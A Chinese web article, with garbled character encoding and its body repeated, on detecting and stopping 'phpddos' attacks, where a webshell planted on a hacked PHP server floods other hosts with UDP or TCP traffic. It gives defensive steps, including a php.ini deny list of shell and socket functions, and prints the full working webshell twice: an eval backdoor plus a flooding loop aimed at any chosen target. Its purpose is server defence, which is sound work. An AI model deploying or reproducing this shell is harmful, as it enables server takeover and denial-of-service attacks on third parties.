phpddos流量攻擊預(yù)防方法
發(fā)布時間：2012-10-18 14:30:09 作者：佚名 
我要評論
我要評論先來理解一下什么是phpddos流量攻擊，phpddos是一種黑客經(jīng)過入侵WEB效勞器植入phpshell從而控制這個phpshell 向其他受害者或本人的效勞器發(fā)送UDP攻擊包停止DDOS攻擊
這類攻擊有一個最大的特性，就是上傳流量霎時增大，通常流量高達(dá)數(shù)十以至近百M，將整臺效 勞器，以至將整臺機(jī)柜的寬帶堵住，使網(wǎng)站無法運轉(zhuǎn)，而這樣的攻擊，我們無法從遠(yuǎn)程處理，一但那個phpshell運轉(zhuǎn)，你的寬帶將被全部占用，遠(yuǎn)程都無法 銜接。
被攻擊后能做的只要聯(lián)絡(luò)機(jī)房的工作人員，讓他進(jìn)到你的效勞器里把你的IIS關(guān)掉，再沒查分明是哪個站點被入侵時，盡量一個站點也不要開，以免再 次遭到攻擊，怎樣看是不是這個攻擊呢，不能說關(guān)掉ISS好了，就是這種攻擊了，而要依據(jù)更精確的查看，才能夠肯定是什么問題，翻開360平安衛(wèi)士，然后翻 開功用大全，到里面找到流量防火墻，在這里你能夠看到每一個進(jìn)程的上傳和下載流量的幾，留意躲藏的系統(tǒng)效勞也要點開看一下，普通都是上傳超大才是 phpddos攻擊，而且普通都會在w3wp.exe和mysql.exe上傳流量會很大，最小也幾百M，最大幾G，好曉得是這個攻擊了，我們就來想方法 處理。
處理辦法：
1.應(yīng)用360流量防火墻，把w3wp.exe和mysql.exe的上傳流量限制一下，依據(jù)你效勞器本身寬帶的狀況停止限制，普通限制在 200—300KB都沒什么問題，這樣就不怕phpshell發(fā)起大流量攻擊了，不過這個方法有一個缺陷，就是當(dāng)你重新啟動效勞器時，你之前所限制 w3wp.exe和mysql.exe就不起作用了，要重新限制一下，用這個辦法的朋友一定要留意這一點。
2.經(jīng)過更改php運轉(zhuǎn)環(huán)境來處理，翻開php.ini找到disable_functions=這項，然后把后面改成 gzinflate,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen。 將allow_url_fopen = Off，再找到extension=php_sockets.dll這項，把前面加上分號，就是屏蔽掉這項。
3.經(jīng)過查找攻擊源處理，批量查找一切網(wǎng)站內(nèi)能否存在phpshell攻擊源代碼，源代碼為(由于代碼太亂以圖片方式展現(xiàn)給大家)如圖：
<?php
eval($_POST[Chr(90)]);
set_time_limit(86400);
ignore_user_abort(True);
$packets = 0;
$http = $_GET['http'];
$rand = $_GET['exit'];
$exec_time = $_GET['time'];
if (StrLen($http)==0 or StrLen($rand)==0 or StrLen($exec_time)==0)
{
if(StrLen($_GET['rat'])<>0)
{
echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
exit;
}
echo "Php 2012 Terminator";
exit;
}
for($i=0;$i<65535;$i++)
{
$out .= "X";
}
//Udp1-fsockopen Udp2 pfsockopen Tcp3 CC.center
$max_time = time()+$exec_time;
if($rand==53)
while(1)
{
$packets++;
if(time() > $max_time)
{
break;
}
$fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
else
if($rand==500)
while(1)
{
$packets++;
if(time() > $max_time){
break;
}
$fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
else
while(1)
{
$packets++;
if(time() > $max_time){
break;
}
$fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
?>
經(jīng)過批量查找網(wǎng)站內(nèi)能否有類似上圖的源碼，找到后刪除，把網(wǎng)站權(quán)限設(shè)置為不可寫入，這樣在沒有修補(bǔ)好這個網(wǎng)站破綻前，不會再被植入木馬了。
被攻擊后能做的只要聯(lián)絡(luò)機(jī)房的工作人員，讓他進(jìn)到你的效勞器里把你的IIS關(guān)掉，再沒查分明是哪個站點被入侵時，盡量一個站點也不要開，以免再 次遭到攻擊，怎樣看是不是這個攻擊呢，不能說關(guān)掉ISS好了，就是這種攻擊了，而要依據(jù)更精確的查看，才能夠肯定是什么問題，翻開360平安衛(wèi)士，然后翻 開功用大全，到里面找到流量防火墻，在這里你能夠看到每一個進(jìn)程的上傳和下載流量的幾，留意躲藏的系統(tǒng)效勞也要點開看一下，普通都是上傳超大才是 phpddos攻擊，而且普通都會在w3wp.exe和mysql.exe上傳流量會很大，最小也幾百M，最大幾G，好曉得是這個攻擊了，我們就來想方法 處理。
處理辦法：
1.應(yīng)用360流量防火墻，把w3wp.exe和mysql.exe的上傳流量限制一下，依據(jù)你效勞器本身寬帶的狀況停止限制，普通限制在 200—300KB都沒什么問題，這樣就不怕phpshell發(fā)起大流量攻擊了，不過這個方法有一個缺陷，就是當(dāng)你重新啟動效勞器時，你之前所限制 w3wp.exe和mysql.exe就不起作用了，要重新限制一下，用這個辦法的朋友一定要留意這一點。
2.經(jīng)過更改php運轉(zhuǎn)環(huán)境來處理，翻開php.ini找到disable_functions=這項，然后把后面改成 gzinflate,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen。 將allow_url_fopen = Off，再找到extension=php_sockets.dll這項，把前面加上分號，就是屏蔽掉這項。
3.經(jīng)過查找攻擊源處理，批量查找一切網(wǎng)站內(nèi)能否存在phpshell攻擊源代碼，源代碼為(由于代碼太亂以圖片方式展現(xiàn)給大家)如圖：
復(fù)制代碼
代碼如下:<?php
eval($_POST[Chr(90)]);
set_time_limit(86400);
ignore_user_abort(True);
$packets = 0;
$http = $_GET['http'];
$rand = $_GET['exit'];
$exec_time = $_GET['time'];
if (StrLen($http)==0 or StrLen($rand)==0 or StrLen($exec_time)==0)
{
if(StrLen($_GET['rat'])<>0)
{
echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
exit;
}
echo "Php 2012 Terminator";
exit;
}
for($i=0;$i<65535;$i++)
{
$out .= "X";
}
//Udp1-fsockopen Udp2 pfsockopen Tcp3 CC.center
$max_time = time()+$exec_time;
if($rand==53)
while(1)
{
$packets++;
if(time() > $max_time)
{
break;
}
$fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
else
if($rand==500)
while(1)
{
$packets++;
if(time() > $max_time){
break;
}
$fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
else
while(1)
{
$packets++;
if(time() > $max_time){
break;
}
$fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
?>
經(jīng)過批量查找網(wǎng)站內(nèi)能否有類似上圖的源碼，找到后刪除，把網(wǎng)站權(quán)限設(shè)置為不可寫入，這樣在沒有修補(bǔ)好這個網(wǎng)站破綻前，不會再被植入木馬了。
相關(guān)文章
thinkphp代碼執(zhí)行g(shù)etshell的漏洞解決
本文來介紹一下thinkphp官方修復(fù)的一個getshell漏洞，框架對控制器沒有進(jìn)行足夠的檢測導(dǎo)致的一處getshell，小編覺得挺不錯的，現(xiàn)在分享給大家，也給大家做個參考。一起跟隨2018-12-12記 FineUI 官方論壇discuz所遭受的一次真實網(wǎng)絡(luò)攻擊
這篇文章主要介紹了記 FineUI 官方論壇discuz所遭受的一次真實網(wǎng)絡(luò)攻擊,需要的朋友可以參考下2018-11-30- 這篇文章主要介紹了Linux 下多種反彈 shell 方法,需要的朋友可以參考下2017-09-06
- 這篇文章主要為大家介紹了基于反射的XSS攻擊，主要依靠站點服務(wù)端返回腳本，在客戶端觸發(fā)執(zhí)行從而發(fā)起Web攻擊,需要的朋友可以參考下2017-05-20
- 這篇文章主要介紹了SQL注入黑客防線網(wǎng)站實例分析,需要的朋友可以參考下2017-05-19
ASP+PHP 標(biāo)準(zhǔn)sql注入語句（完整版）
這里為大家分享一下sql注入的一些語句，很多情況下由于程序員的安全意識薄弱或基本功不足就容易導(dǎo)致sql注入安全問題，建議大家多看一下網(wǎng)上的安全文章，最好的防范就是先學(xué)2017-05-19- 對于目前流行的sql注入,程序員在編寫程序時,都普遍的加入防注入程序,有些防注入程序只要在我們提交一些非法的參數(shù)后,就會自動的記錄下你的IP地址,提交的非法參數(shù)和動作等,2017-04-29
XSS繞過技術(shù) XSS插入繞過一些方式總結(jié)
我們友情進(jìn)行XSS檢查，偶然跳出個小彈窗，其中我們總結(jié)了一些平時可能用到的XSS插入方式，方便我們以后進(jìn)行快速檢查，也提供了一定的思路，其中XSS有反射、存儲、DOM這三類2016-12-27- 這篇文章主要介紹了Python 爬蟲使用動態(tài)切換ip防止封殺的相關(guān)資料,需要的朋友可以參考下2016-10-08
- 這篇文章主要介紹了使用爬蟲采集網(wǎng)站時，解決被封IP的幾種方法的相關(guān)資料,需要的朋友可以參考下2016-10-08
